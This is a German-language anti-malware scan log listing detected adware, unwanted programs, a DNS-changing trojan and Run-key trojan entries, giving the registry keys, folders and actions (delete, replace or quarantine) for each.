PUP.Optional.DownloadProtect, HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\BROWSER HELPER OBJECTS\{C654F3FE-8E84-4BB7-87CF-8D9171FC3C73}, Löschen bei Neustart, [979], [167924],1.0.2075
PUP.Optional.DownloadProtect, HKLM\SOFTWARE\CLASSES\CLSID\{C654F3FE-8E84-4BB7-87CF-8D9171FC3C73}, Löschen bei Neustart, [979], [167924],1.0.2075
Adware.Elex.SHHKRST, HKLM\SOFTWARE\CLASSES\CLSID\{61773070-459F-11E7-92DA-64006A5CFC23}, Löschen bei Neustart, [11], [396509],1.0.2075
Adware.Elex.SHHKRST, HKLM\SOFTWARE\CLASSES\CLSID\{61773070-459F-11E7-92DA-64006A5CFC23}\InprocServer32, Löschen bei Neustart, [11], [396509],1.0.2075
Adware.Wajam, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\NLASVC\PARAMETERS\INTERNET\MANUALPROXIES, Löschen bei Neustart, [1475], [-1],0.0.0
PUP.Optional.YesSearches, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TREE\Ckadoleatgy Nodifier, Löschen bei Neustart, [98], [182795],1.0.2075
PUP.Optional.Goobzo, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TREE\SMW_UpdateTask_Time_313435353035373830362d6c375a5a5b6c32322d343441, Löschen bei Neustart, [347], [186804],1.0.2075
Adware.NetUtils, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\NetUtils2016, Löschen bei Neustart, [1115], [385134],1.0.2075
PUP.Optional.Social2Search.Gen, HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\a7818f1c7050f50263d826b899a2aec2, Löschen bei Neustart, [15701], [261569],1.0.2075
Adware.Elex, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\JszipService, Löschen bei Neustart, [2], [400825],1.0.2075
Adware.Elex.Generic, HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{5B6D5666-212A-41F6-9998-50DEB67E6206}, Löschen bei Neustart, [1107], [391386],1.0.2075
Adware.Elex.Generic, HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{A60D1320-AE33-47D6-961D-FA55E81438A1}, Löschen bei Neustart, [1107], [391386],1.0.2075
PUP.Optional.DNSUnlocker.ACMB2, HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{2dfe3513}, Löschen bei Neustart, [28], [260250],1.0.2075
PUP.Optional.YesSearches, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TASKS\{89CE767F-A6B8-486C-BA73-12A14E6E13D4}, Löschen bei Neustart, [98], [182794],1.0.2075
PUP.Optional.Goobzo, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TASKS\{9E08244B-B4C0-47E0-BAE9-A61349F73916}, Löschen bei Neustart, [347], [258228],1.0.2075
PUP.Optional.BitCoinMiner, HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\gplyra, Löschen bei Neustart, [197], [317317],1.0.2075
PUM.Optional.DisableChromeUpdates, HKLM\SOFTWARE\POLICIES\GOOGLE\UPDATE, Löschen bei Neustart, [15479], [252393],1.0.2075
PUM.Optional.DisableChromeUpdates, HKLM\SOFTWARE\WOW6432NODE\POLICIES\GOOGLE\UPDATE, Löschen bei Neustart, [15479], [252393],1.0.2075
Adware.Sasquor.SPL, HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\PRINT\PROVIDERS\bvhgctv8, Löschen bei Neustart, [1768], [339986],1.0.2075

Registrierungswert: 21
Trojan.Agent.Generic, HKU\S-1-5-21-743485210-3963512150-464095969-1003\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN|F3uu0izGb9.exe, Löschen bei Neustart, [463], [369948],1.0.2075
Trojan.Agent.Generic, HKU\S-1-5-21-743485210-3963512150-464095969-1003\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN|ZPZVYIZHUS.exe, Löschen bei Neustart, [463], [369948],1.0.2075
Adware.Elex.SHHKRST, HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELLEXECUTEHOOKS|{61773070-459F-11E7-92DA-64006A5CFC23}, Löschen bei Neustart, [11], [396509],1.0.2075
Adware.Wajam, HKU\S-1-5-18\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS|PROXYENABLE, Löschen bei Neustart, [1475], [-1],0.0.0
Adware.Wajam, HKU\S-1-5-19\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS|PROXYENABLE, Löschen bei Neustart, [1475], [-1],0.0.0
Adware.Wajam, HKU\S-1-5-20\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS|PROXYENABLE, Löschen bei Neustart, [1475], [-1],0.0.0
Adware.Wajam, HKU\S-1-5-21-743485210-3963512150-464095969-1003\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS|PROXYENABLE, Löschen bei Neustart, [1475], [-1],0.0.0
Adware.Wajam, HKU\.DEFAULT\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS|PROXYENABLE, Löschen bei Neustart, [1475], [-1],0.0.0
Adware.Wajam, HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS|PROXYENABLE, Löschen bei Neustart, [1475], [-1],0.0.0
Adware.Wajam, HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS|PROXYENABLE, Löschen bei Neustart, [1475], [-1],0.0.0
PUP.Optional.AppTrailers, HKU\S-1-5-21-743485210-3963512150-464095969-1003\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UFH\SHC|26, Löschen bei Neustart, [853], [393166],1.0.2075
PUP.Optional.AppTrailers, HKU\S-1-5-21-743485210-3963512150-464095969-1003\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UFH\SHC|27, Löschen bei Neustart, [853], [393166],1.0.2075
PUP.Optional.Social2Search.Gen, HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\a7818f1c7050f50263d826b899a2aec2|DISPLAYNAME, Löschen bei Neustart, [15701], [261569],1.0.2075
Adware.Elex.Generic, HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{5B6D5666-212A-41F6-9998-50DEB67E6206}|DISPLAYNAME, Löschen bei Neustart, [1107], [391386],1.0.2075
Adware.Elex.Generic, HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{A60D1320-AE33-47D6-961D-FA55E81438A1}|DISPLAYNAME, Löschen bei Neustart, [1107], [391386],1.0.2075
PUP.Optional.DNSUnlocker.ACMB2, HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\UNINSTALL\{2dfe3513}|1, Löschen bei Neustart, [28], [260250],1.0.2075
PUP.Optional.YesSearches, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TASKS\{89CE767F-A6B8-486C-BA73-12A14E6E13D4}|PATH, Löschen bei Neustart, [98], [182794],1.0.2075
PUP.Optional.Goobzo, HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\SCHEDULE\TASKCACHE\TASKS\{9E08244B-B4C0-47E0-BAE9-A61349F73916}|PATH, Löschen bei Neustart, [347], [258228],1.0.2075
PUM.Optional.DisableChromeUpdates, HKLM\SOFTWARE\POLICIES\GOOGLE\UPDATE|DISABLEAUTOUPDATECHECKSCHECKBOXVALUE, Löschen bei Neustart, [15479], [252393],1.0.2075
PUM.Optional.DisableChromeUpdates, HKLM\SOFTWARE\WOW6432NODE\POLICIES\GOOGLE\UPDATE|DISABLEAUTOUPDATECHECKSCHECKBOXVALUE, Löschen bei Neustart, [15479], [252393],1.0.2075
Adware.Sasquor.SPL, HKLM\SYSTEM\CURRENTCONTROLSET\CONTROL\PRINT\PROVIDERS\bvhgctv8|NAME, Löschen bei Neustart, [1768], [339986],1.0.2075

Registrierungsdaten: 12
Trojan.DNSChanger.ACMB2, HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters|NameServer, Ersetzen bei Neustart, [6344], [293494],1.0.2075
Trojan.DNSChanger.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS|NameServer, Ersetzen bei Neustart, [6344], [-1],0.0.0
Trojan.DNSChanger.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS|DhcpNameServer, Ersetzen bei Neustart, [6344], [-1],0.0.0
Trojan.DNSChanger.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\Interfaces\{0c3a027a-71f5-4ae6-a09f-b43447e4bedf}|NameServer, Ersetzen bei Neustart, [6344], [-1],0.0.0
Trojan.DNSChanger.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\Interfaces\{0c3a027a-71f5-4ae6-a09f-b43447e4bedf}|DhcpNameServer, Ersetzen bei Neustart, [6344], [-1],0.0.0
Trojan.DNSChanger.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\Interfaces\{21091673-449d-4377-bff3-92ec5412ab18}|NameServer, Ersetzen bei Neustart, [6344], [-1],0.0.0
Trojan.DNSChanger.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\Interfaces\{21091673-449d-4377-bff3-92ec5412ab18}|DhcpNameServer, Ersetzen bei Neustart, [6344], [-1],0.0.0
Trojan.DNSChanger.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\Interfaces\{2330fd66-d402-4ecc-a6e1-0089109ba6d1}|NameServer, Ersetzen bei Neustart, [6344], [-1],0.0.0
Trojan.DNSChanger.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\Interfaces\{2330fd66-d402-4ecc-a6e1-0089109ba6d1}|DhcpNameServer, Ersetzen bei Neustart, [6344], [-1],0.0.0
Trojan.DNSChanger.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\Interfaces\{342f28b7-2f96-4d98-90c7-8e4ffe97a81f}|NameServer, Ersetzen bei Neustart, [6344], [-1],0.0.0
Trojan.DNSChanger.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\Interfaces\{b5b82594-73d0-42da-a9b0-98d0d6569371}|NameServer, Ersetzen bei Neustart, [6344], [-1],0.0.0
Trojan.DNSChanger.ACMB2, HKLM\SYSTEM\CURRENTCONTROLSET\SERVICES\TCPIP\PARAMETERS\Interfaces\{b5b82594-73d0-42da-a9b0-98d0d6569371}|DhcpNameServer, Ersetzen bei Neustart, [6344], [-1],0.0.0

Daten-Stream: 0
(keine bösartigen Elemente erkannt)

Ordner: 451
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\ZipUpdater, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\ZipSubmit, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\lang, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\iso, Löschen bei Neustart, [2], [356754],1.0.2075
Adware.Elex, C:\Program Files (x86)\Maoha\JiSuZip\sfx, Löschen bei Neustart, [2], [356754],1.0.2075
PUP.Optional.PCHandller, C:\PROGRAM FILES (X86)\pchandller, Löschen bei Neustart, [9326], [403626],1.0.2075
PUP.Optional.SwytShop, C:\USERS\****\APPDATA\LOCAL\Programs\SwytShop_Pkg3, Löschen bei Neustart, [3131], [386986],1.0.2075
PUP.Optional.InterStat, C:\Users\****\AppData\Local\CrashRpt\UnsentCrashReports\Interstatnogui_390\Logs, Löschen bei Neustart, [1407], [373566],1.0.2075
PUP.Optional.InterStat, C:\USERS\****\APPDATA\LOCAL\CRASHRPT\UNSENTCRASHREPORTS\Interstatnogui_390, Löschen bei Neustart, [1407], [373566],1.0.2075
PUP.Optional.SwytShop, C:\Users\****\AppData\Roaming\Mozilla\Firefox\Profiles\bckp6m63.default\jetpack\323D625D490FE8DD@ext.u\simple-storage, Löschen bei Neustart, [3131], [375413],1.0.2075
PUP.Optional.SwytShop, C:\USERS\****\APPDATA\ROAMING\MOZILLA\FIREFOX\PROFILES\BCKP6M63.DEFAULT\JETPACK\323D625D490FE8DD@ext.u, Löschen bei Neustart, [3131], [375413],1.0.2075
PUP.Optional.Goobzo.BITSRST, C:\Program Files\Common Files\Noobzo\GNUpdate, Löschen bei Neustart, [8982], [384282],1.0.2075
PUP.Optional.Goobzo.BITSRST, C:\PROGRAM FILES\COMMON FILES\Noobzo, Löschen bei Neustart, [8982], [384282],1.0.2075
Adware.Wajam, C:\PROGRAM FILES\A7818F1C7050F50263D826B899A2AEC2, Löschen bei Neustart, [1475], [402795],1.0.2075
Adware.Agent.Generic, C:\PROGRAMDATA\{6820C702-DF8B-70A9-0EEB-609B7D7FF099}, Löschen bei Neustart, [1418], [331038],1.0.2075
Adware.Elex.Generic, C:\PROGRAM FILES (X86)\CKADOLEATGY NODIFIER, Löschen bei Neustart, [1107], [358275],1.0.2075
Adware.Tuto4PC.Generic, C:\USERS\****\APPDATA\LOCAL\TEMP\82-21DA2-1EA-8C484-3CE583976AB12, Löschen bei Neustart, [1300], [368102],1.0.2075
Adware.Tuto4PC.Generic, C:\USERS\****\APPDATA\LOCAL\TEMP\34-A27FE-E7B-AE1A4-4608880FDBB52, Löschen bei Neustart, [1300], [368102],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map\example, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map\test, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\balanced-match, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules\concat-map, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion\node_modules, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules\brace-expansion, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\inflight\node_modules\wrappy, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\node_modules\wrappy, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch\node_modules, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\inflight\node_modules, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once\node_modules, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\path-is-absolute, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\fs.realpath, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\minimatch, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\inflight, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\core-util-is\lib, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test\integration, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\string_decoder, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules\once, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\isarray\build, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\core-util-is, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\node_modules\mime-types\node_modules\mime-db, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob\node_modules, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\inherits, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\example, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules\isarray, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist\test, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\test, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream\lib, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\ctype\man\man3ctype, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\node_modules\mime-types\node_modules, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules\minimist, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\node_modules, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream\node_modules\delayed-stream, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules\glob, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\asn1\tst\ber, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\asn1\lib\ber, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\assert-plus, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\ctype\tools, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\ctype\man, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\node_modules\async\support, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\rimraf\node_modules, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\asn1\lib, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\asn1\tst, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\mkdirp\node_modules, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream\lib, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\hoek\test\modules, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\tough-cookie\node_modules\punycode, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\node_modules\mime-types, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\ctype, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\node_modules\async\lib, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\cryptiles\test, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules\asn1, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\mkdirp\examples, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\bl\node_modules\readable-stream, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\universal-analytics\node_modules\node-uuid\benchmark, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\cryptiles\lib, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\sntp\examples, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\hoek\images, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\boom\images, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\graceful-fs, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\combined-stream\node_modules, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\mkdirp\test, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\form-data\node_modules\async, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\hoek\test, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\http-signature\node_modules, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\boom\test, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\tar\node_modules\fstream\node_modules\mkdirp\bin, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\sntp\test, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\cryptiles, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\boom\lib, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\sntp\lib, In Quarantäne, [2862], [371306],1.0.2075
PUP.Optional.AppTrailers.Generic, C:\Users\****\AppData\Local\Temp\nw1312_20442\node_modules\request\node_modules\hawk\node_modules\hoek\lib, In Quarantäne, [2862], [371306],1.0.2075
